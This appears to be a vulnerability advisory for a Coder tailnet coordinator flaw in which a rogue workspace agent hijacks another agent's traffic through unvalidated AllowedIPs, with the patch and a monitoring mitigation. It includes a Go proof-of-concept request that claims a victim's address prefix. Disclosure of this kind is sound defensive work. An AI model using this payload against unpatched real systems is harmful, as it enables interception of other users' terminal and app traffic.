high · 8.2CVE-2026-55428Jul 6, 2026

CVE-2026-55428: Coder Tailnet Coordinator Route Hijacking via Unvalidated AllowedIPs

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A rogue Coder workspace agent can steal another agent's tailnet address by advertising it as its own routing prefix, letting it intercept web terminal and app traffic meant for the victim workspace.

Packagegithub.com/coder/coder/v2
Ecosystemgo
Affected>= 2.34.0, < 2.34.2
Fixed in2.34.2

The problem

Coder's tailnet coordinator validates that an agent's `Addresses` prefixes derive from its authenticated UUID, but it applied no equivalent check to the `AllowedIPs` field of the same node update message.

Because `ServerTailnet` routes traffic to agents purely by tailnet IP, an attacker who controls a workspace agent can claim a victim agent's `/128` prefix in `AllowedIPs`. The coordinator forwards the spoofed prefix to every tunnel peer verbatim, installing it into their WireGuard peer configuration.

From that point, traffic destined for the victim agent (web terminal, workspace app proxying) is silently redirected to the attacker-controlled agent instead.

Proof of concept

A working proof-of-concept for CVE-2026-55428 in github.com/coder/coder/v2, with the exact payload below.

go
// Malicious agent sends a CoordinateRequest_UpdateSelf where AllowedIPs
// contains the attacker's own legitimate address PLUS a victim agent's
// tailnet address (derived from the victim's UUID via AddrFromUUID).
//
// Attacker agent UUID:  aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
// Victim  agent UUID:  bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb
// Victim tailnet addr: fd7a:115c:a1e0:bbbb:bbbb:bbbb:bbbb:bbbb (derived)

req := &proto.CoordinateRequest{
    Req: &proto.CoordinateRequest_UpdateSelf{
        UpdateSelf: &proto.CoordinateRequest_NodeUpdate{
            Node: &proto.Node{
                // Legitimate: attacker's own address
                Addresses: []string{"fd7a:115c:a1e0:aaaa:aaaa:aaaa:aaaa:aaaa/128"},
                // Malicious: includes victim agent's /128 prefix — NOT validated pre-patch
                AllowedIps: []string{
                    "fd7a:115c:a1e0:aaaa:aaaa:aaaa:aaaa:aaaa/128",
                    "fd7a:115c:a1e0:bbbb:bbbb:bbbb:bbbb:bbbb/128", // victim
                },
            },
        },
    },
}
// Coordinator forwards AllowedIPs verbatim; peers now route victim traffic to attacker.

The root cause is an asymmetric authorization check (CWE-285, CWE-863). Pre-patch, the coordinator called its UUID-derivation check on `Addresses` only. `AllowedIPs` was forwarded verbatim to tunnel peers, who installed them into WireGuard peer config without question.

The patch adds the same prefix-vs-UUID validation loop to `AllowedIPs` that already existed for `Addresses`. Each prefix in `AllowedIPs` must contain an address that derives from the authenticating agent's own UUID via `ServicePrefix.AddrFromUUID`; any prefix that does not match is rejected and the update is refused.

This closes the asymmetry entirely.

The fix

Upgrade to Coder v2.34.2 (or v2.33.8, v2.32.7, v2.29.17 for older release lines). The fix is in PR #26144 (commit c3e7e94a90 on main). Operators who cannot patch immediately should monitor coordinator logs for agents advertising `AllowedIPs` prefixes that do not correspond to their own UUID-derived address.

Reported by Anthropic Security Team (ANT-2026-22451).

References: [1][2][3]

Related research